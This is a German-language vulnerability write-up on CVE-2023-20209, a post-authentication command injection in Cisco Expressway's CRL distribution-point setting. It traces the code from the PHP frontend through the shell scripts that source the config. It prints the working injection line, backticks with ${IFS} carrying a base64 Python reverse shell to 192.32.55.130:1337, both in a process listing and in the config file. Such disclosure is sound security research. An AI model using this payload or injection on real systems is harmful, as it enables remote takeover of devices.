
Detaillierte technische Analyse und Proof-of-Concept-Exploit für CVE-2023-20209, eine Schwachstelle zur Remote-Code-Ausführung nach der Authentifizierung in Cisco Expressway, mit schrittweisem Walkthrough des Codeablaufs und Hinweisen zur Ausnutzung.
Ich habe angefangen, mich mit Cisco Expressway zu beschäftigen, nachdem mir bei Red-Team-Einsätzen eine ganze Reihe davon im Internet aufgefallen war. Während der Arbeit hatte ich jedoch nie die Zeit, das Produkt näher zu untersuchen.
Ursprünglich suchte ich nach einem Auth-Bypass, um ihn zu einer RCE zu verketten, aber mir lief die Zeit davon, und ich entschied mich für eine Post-Auth-RCE. Der PHP-Code des Frontends sieht für weitere Ausnutzung vielversprechend aus.....
Dies sind meine Notizen von der Entdeckung und der Benachrichtigung des Herstellers über CVE-2023-20209.
Beginnend mit einer Prozessliste nach der Ausnutzung sehen wir einen Aufruf von /sbin/request-crlupdate:
root 16449 0.0 0.0 7472 4024 ? S Feb18 0:00 bash /sbin/request-crlupdate
root 16451 0.0 0.1 7544 4280 ? S Feb18 0:00 /bin/bash /etc/init.d/crlupdater restart
root 16466 0.0 0.2 14084 11236 ? S Feb18 0:00 python -c exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))
Wenn wir uns den Inhalt von /sbin/request-crlupdate ansehen:
#! /bin/env bash
#
# This script is responsible to updating the CRL automatic updater process
# when configuration is changed
#
# =============================================================================
# Needs to be kept in sync with PHP and updater script
readonly STARTFILE="/tmp/request/update_crl_config"
readonly LOCK_FILE="/tmp/crlupdater_running"
# =============================================================================
# Source for helper functions
readonly FUNCTIONS="/etc/functions"
[[ -f ${FUNCTIONS} ]] && . ${FUNCTIONS}
# =============================================================================
if [[ -f ${STARTFILE} ]]; then
# Remove the flag file
rm -f ${STARTFILE}
if [[ -f ${LOCK_FILE} ]]; then
do_log "Event=\"Updating CRL data\" Detail=\"CRL update already in progress. Scheduling another update\""
touch ${STARTFILE}
# To avoid the possibility of tight loop situation until the lock file is removed,
# let's sleep for a few seconds
sleep 30
else
# Kick the CRL automatic update daemon
/etc/init.d/crlupdater restart
fi
fi
# =============================================================================
Wir sehen, dass es den automatischen CRL-Update-Daemon aufruft; das erklärt allerdings nicht, wie wir dorthin gelangt sind. Ich habe versucht, den Codeablauf unten nachzuvollziehen.
Beginnend mit dem PHP-Code für das Web-Frontend in /share/web/public/crpupdater.php gibt es eine Validierungsprüfung, die sicherstellt, dass die Zeile mit http oder https beginnt:
$crl_distribution_points_root_new = new SimpleXMLElement("<root/>");
foreach ( $url_list as $line )
{
if ( strlen( $line ) > 0 )
{
if ( preg_match( '/^(http|https):\/\/.+/i', $line ) > 0 )
{
// Ensure no spaces in the URI
$line = str_replace( " ", "%20", $line );
$crl_distribution_points_root_new->record[ $idx++ ]->distribution_point = $line;
$distribution_point_count++;
}
else
{
$unsupported_distribution_point_seen = true;
}
}
}
Dies wird dann an das meiner Meinung nach hinter dem Webdienst liegende Python-Framework weitergegeben. Der gesamte Python-Code ist als pyc kompiliert, daher verliere ich hier einige Teile des Ablaufs, aber das Folgende gibt einen Hinweis.
Es sieht so aus, als würde das Python einen Aufruf von /sbin/request-crlupdate auslösen.
/share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyc
Class to manage requestd with regards CRL updates
c C s t j j j j j | | ƒ d S( N( RO RV RW RX RY R ( R
RL ( ( sp /share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyR ? s c C s- t j d ƒ t j j j j j | d ƒ d S( s\
Creates the trigger file for requestd to restart the CRL update daemon
Inhalt von /etc/init.d/crlupdater:
#!/bin/bash
#set -x
#
# Set up automatic CRL updates, if configured
#
readonly SERVICE="crl_updater"
readonly PID_FILE="/var/run/${SERVICE}.pid"
[[ -f /etc/functions ]] && . /etc/functions
start()
{
# #86345
#
# Ensure that the policy services CRL file has the correct
# owner so that the web can update them
chown _nobody:_nobody /tandberg/persistent/certs/policy-services.crl
if upgrade_in_progress; then
# Upgrading so let's not go any further
echo "Upgrade in process. Not starting ${SERVICE}"
exit 0
fi
if is_service_up ${SERVICE}; then
# Service already running so let's not go any further
echo "${SERVICE} already running. Not starting"
exit 0
fi
echo "Starting ${SERVICE}"
local readonly script="/bin/crl_updater"
# Need to be kept in sync with PHP and script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
# Ensure we have the correct directories
local readonly certificates_base="/mnt/harddisk/certificates"
local readonly crl_directory="${certificates_base}/crl"
if [[ ! -d ${crl_directory} ]]; then
mkdir -p ${crl_directory}
fi
if [[ -s ${config_file} ]]; then
. "${config_file}"
if [[ ${auto_updates} == "true" ]]; then
# Check every 600 seconds to see if it is the configured hour
# and then run the script. If the script is run it will wait
# 24 hours before running the script again
/bin/time_kicker 600 ${update_hour} ${script} > /dev/null 2>&1 &
echo $! > ${PID_FILE}
else
# We run the script anyway so that it can perform any clean-up
# required as a result of being disabled
${script} > /dev/null 2>&1 &
fi
fi
}
stop()
{
if is_service_up ${SERVICE}; then
echo "Stopping ${SERVICE}"
kill_pid_file ${SERVICE} ${PID_FILE}
rm -f ${PID_FILE}
fi
}
restart()
{
stop
start
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo $"Usage: $0 {start|stop|restart}"
exit 1
;;
esac
Einige wichtige Zeilen hier:
local readonly script="/bin/crl_updater"
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
Hier ist der Inhalt von /tandberg/persistent/certs/crl-update.conf nach der Ausnutzung:
auto_updates=true
update_hour=11
distribution_point=http://`python${IFS}-c${IFS}"exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"`
Wir können die schädlichen CRL-Daten oben in der Datei sehen.
In beiden Fällen der IF-Anweisung in /etc/init.d/crpupdater wird ein Aufruf zur Ausführung von /bin/crl_updater getätigt.
An diesem Punkt wird der schädliche Code im Ablauf von /bin/crl_updater ausgeführt:
read_configuration()
{
# Source the configuration file
# Needs to be kept in sync with PHP and init script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
local readonly config_separator="="
local readonly distribution_point_prefix="distribution_point"
if [[ -s ${config_file} ]]; then
. "${config_file}"
readonly CRL_UPDATE_MODE="${auto_updates}"
readonly CRL_DISTRIBUTION_POINTS=`cat ${config_file} | while read line; do echo ${line} | grep "${distribution_point_prefix}" | tr "${config_separator}" "\n" | grep -v "${distribution_point_prefix}" ; done`
if [[ ${CRL_UPDATE_MODE} == "true" ]]; then
# Ensure that we have some distribution points configured
if [[ -z "${CRL_DISTRIBUTION_POINTS}" ]]; then
updater_event_logger "ERROR: No CRL distribution points configured"
alarm raise $CONFIG_ALARM
exit_handler 1
fi
fi
else
updater_event_logger "ERROR: CRL updater failed to find configuration file or file is empty"
alarm raise $NO_CONFIG_ALARM
exit_handler 1
fi
}
Anschließend wird die Konfigurationsdatei, die unseren bösartigen Befehl enthält, über Folgendes ausgeführt:
if [[ -s ${config_file} ]]; then
. "${config_file}"
Da unsere Injektion Backticks enthält, wird sie anschließend ausgeführt. Ich habe eine Testdatei bereitgestellt, um das Verhalten zu zeigen:
auto_updates=true
update_hour=11
distribution_point=http://`touch /tmp/test_file`
Manuelles Ausführen der Testdatei auf dieselbe Weise, wie es das Skript /bin/crl_updater tut:
~ # ls -al /tmp/ | grep test_file
~ # . /tmp/test_exec_point
~ # ls -al /tmp/ | grep test_file
-rw-r--r-- 1 root root 0 Feb 20 01:16 test_file
Ich habe ein schnelles und schmutziges Exploit-Skript für den PoC geschrieben; du kannst es unten in Aktion sehen.
